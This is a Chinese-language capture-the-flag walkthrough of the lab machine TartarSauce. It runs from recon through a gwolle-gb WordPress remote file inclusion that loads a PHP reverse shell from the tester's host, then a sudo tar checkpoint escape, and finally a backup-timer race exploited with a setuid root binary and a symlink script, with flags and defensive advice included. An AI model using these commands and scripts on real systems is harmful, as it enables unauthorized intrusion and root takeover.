[Meachines] [Medium] TartarSauce Wordpress-gwolle-gb-RFI+tar权限提升+定时器备份文件权限提升
字数 1144 2025-08-19 12:40:41

WordPress gwolle-gb插件漏洞利用与权限提升实战

1. 目标信息收集

1.1 基础扫描

  • 目标IP: 10.10.10.88
  • 开放端口: TCP 80 (HTTP)
  • 服务识别: WordPress网站,包含gwolle-gb插件
nmap -p- 10.10.10.88 --min-rate 1000 -sC -sV

1.2 目录枚举

使用feroxbuster进行目录扫描:

feroxbuster --url http://10.10.10.88/

1.3 WordPress扫描

使用wpscan进行WordPress漏洞扫描:

wpscan --url http://10.10.10.88:80/webservices/wp -e ap --plugins-detection aggressive -t 100

2. 初始访问 - gwolle-gb插件远程文件包含(RFI)漏洞利用

gwolle-gb插件存在远程文件包含漏洞,位于:

/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php

2.1 漏洞验证

curl 'http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.16.24/test'

2.2 获取反向shell

  1. 准备PHP反向shell:
cp /usr/share/webshells/php/php-reverse-shell.php wp-load.php
  1. 触发漏洞获取shell:
curl 'http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.16.24/'

3. 权限提升 - 从www-data到onuma用户

3.1 获取交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

3.2 检查sudo权限

sudo -l

发现可以使用onuma用户权限执行tar命令:

sudo -u onuma tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

3.3 获取onuma用户权限

执行上述tar命令获取onuma shell:

sudo -u onuma tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

获取user flag:

1895da47f6758f6ddf1f8c8ea61b4c4a

4. 权限提升 - 从onuma到root

4.1 发现定时任务

系统中存在一个名为"backuperer.service"的systemd定时器,每隔几分钟运行一次。

查找相关文件:

find / -name backuperer 2>/dev/null

查看备份脚本内容:

cat /usr/sbin/backuperer

4.2 备份脚本分析

关键变量:

basedir=/var/www/html       # 备份源目录
bkpdir=/var/backups         # 备份文件保存目录
tmpdir=/var/tmp             # 临时目录
tmpfile=$tmpdir/.$(/usr/bin/head -c100 /dev/urandom |sha1sum|cut -d' ' -f1)  # 随机命名的临时备份文件
check=$tmpdir/check         # 检查目录

备份流程:

  1. 清理临时目录:/bin/rm -rf $tmpdir/.* $check
  2. 以onuma权限创建备份:/usr/bin/sudo -u onuma /bin/tar -zcvf $tmpfile $basedir &
  3. 等待30秒
  4. 创建检查目录:/bin/mkdir $check
  5. 解压备份文件:/bin/tar -zxvf $tmpfile -C $check
  6. 检查完整性:比较$basedir$check$basedir

4.3 漏洞利用方法

漏洞存在于解压步骤,可以在备份文件被创建后但被解压前替换文件内容。

方法一:创建setuid二进制文件

  1. 准备setuid.c:
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main(void) {
    setuid(0);
    setgid(0);
    system("/bin/sh");
}
  1. 编译:
sudo apt install gcc-multilib
gcc -m32 -o setuid setuid.c
chmod 4755 setuid
  1. 创建恶意tar包:
mkdir -p var/www/html
mv setuid ./var/www/html
tar -zcvf setuid.tar.gz var/
  1. 上传到目标:
wget http://10.10.16.24/setuid.tar.gz
  1. 等待备份文件创建后替换:
cp setuid.tar.gz .0d2369d13e9d34f9b994242d49e4446197b2ef18
  1. 执行setuid程序:
/var/tmp/check/var/www/html/setuid

方法二:利用符号链接读取root flag

  1. 准备exp.sh脚本:
#!/bin/bash
# exp.sh
# work out of shm
cd /dev/shm

# set both start and cur equal to any backup file if it's there
start=$(find /var/tmp -maxdepth 1 -type f -name ".*")
cur=$(find /var/tmp -maxdepth 1 -type f -name ".*")

# loop until there's a change in cur
echo "Waiting for archive filename to change..."
while [ "$start" == "$cur" -o "$cur" ]
do
    sleep 10
    cur=$(find /var/tmp -maxdepth 1 -type f -name ".*")
done

# Grab a copy of the archive
echo "File changed... copying here"
cp $cur .

# get filename
fn=$(echo $cur | cut -d'/' -f4)

# extract archive
tar -zxf $fn

# remove robots.txt and replace it with link to root.txt
rm var/www/html/robots.txt
ln -s /root/root.txt var/www/html/robots.txt

# remove old archive
rm $fn

# create new archive
tar czf $fn var

# put it back, and clean up
mv $fn $cur
rm $fn
rm -rf var

# wait for results
echo "Waiting for new logs..."
tail -f /var/backups/onuma_backup_error.txt
  1. 上传并执行:
wget http://10.10.16.24/exp.sh
chmod +x exp.sh
./exp.sh
  1. 从错误日志中获取root flag:
6d1a541ae753613c68668f1ed114ffc9

5. 关键时间窗口

整个利用过程需要在5分钟内完成,因为:

  1. 备份脚本会在30秒后开始解压
  2. 完成后会清理临时文件
  3. 如果超过时间窗口,check目录会被删除

6. 防御建议

  1. 更新gwolle-gb插件到最新版本
  2. 限制tar命令的sudo权限
  3. 对备份脚本进行安全加固:
    • 使用固定名称的临时文件
    • 增加文件完整性检查
    • 减少时间窗口
  4. 定期审计系统定时任务和sudo权限
WordPress gwolle-gb插件漏洞利用与权限提升实战 1. 目标信息收集 1.1 基础扫描 目标IP: 10.10.10.88 开放端口: TCP 80 (HTTP) 服务识别: WordPress网站,包含gwolle-gb插件 1.2 目录枚举 使用feroxbuster进行目录扫描: 1.3 WordPress扫描 使用wpscan进行WordPress漏洞扫描: 2. 初始访问 - gwolle-gb插件远程文件包含(RFI)漏洞利用 gwolle-gb插件存在远程文件包含漏洞,位于: 2.1 漏洞验证 2.2 获取反向shell 准备PHP反向shell: 触发漏洞获取shell: 3. 权限提升 - 从www-data到onuma用户 3.1 获取交互式shell 3.2 检查sudo权限 发现可以使用onuma用户权限执行tar命令: 3.3 获取onuma用户权限 执行上述tar命令获取onuma shell: 获取user flag: 4. 权限提升 - 从onuma到root 4.1 发现定时任务 系统中存在一个名为"backuperer.service"的systemd定时器,每隔几分钟运行一次。 查找相关文件: 查看备份脚本内容: 4.2 备份脚本分析 关键变量: 备份流程: 清理临时目录: /bin/rm -rf $tmpdir/.* $check 以onuma权限创建备份: /usr/bin/sudo -u onuma /bin/tar -zcvf $tmpfile $basedir & 等待30秒 创建检查目录: /bin/mkdir $check 解压备份文件: /bin/tar -zxvf $tmpfile -C $check 检查完整性:比较 $basedir 和 $check$basedir 4.3 漏洞利用方法 漏洞存在于解压步骤,可以在备份文件被创建后但被解压前替换文件内容。 方法一:创建setuid二进制文件 准备setuid.c: 编译: 创建恶意tar包: 上传到目标: 等待备份文件创建后替换: 执行setuid程序: 方法二:利用符号链接读取root flag 准备exp.sh脚本: 上传并执行: 从错误日志中获取root flag: 5. 关键时间窗口 整个利用过程需要在5分钟内完成,因为: 备份脚本会在30秒后开始解压 完成后会清理临时文件 如果超过时间窗口,check目录会被删除 6. 防御建议 更新gwolle-gb插件到最新版本 限制tar命令的sudo权限 对备份脚本进行安全加固: 使用固定名称的临时文件 增加文件完整性检查 减少时间窗口 定期审计系统定时任务和sudo权限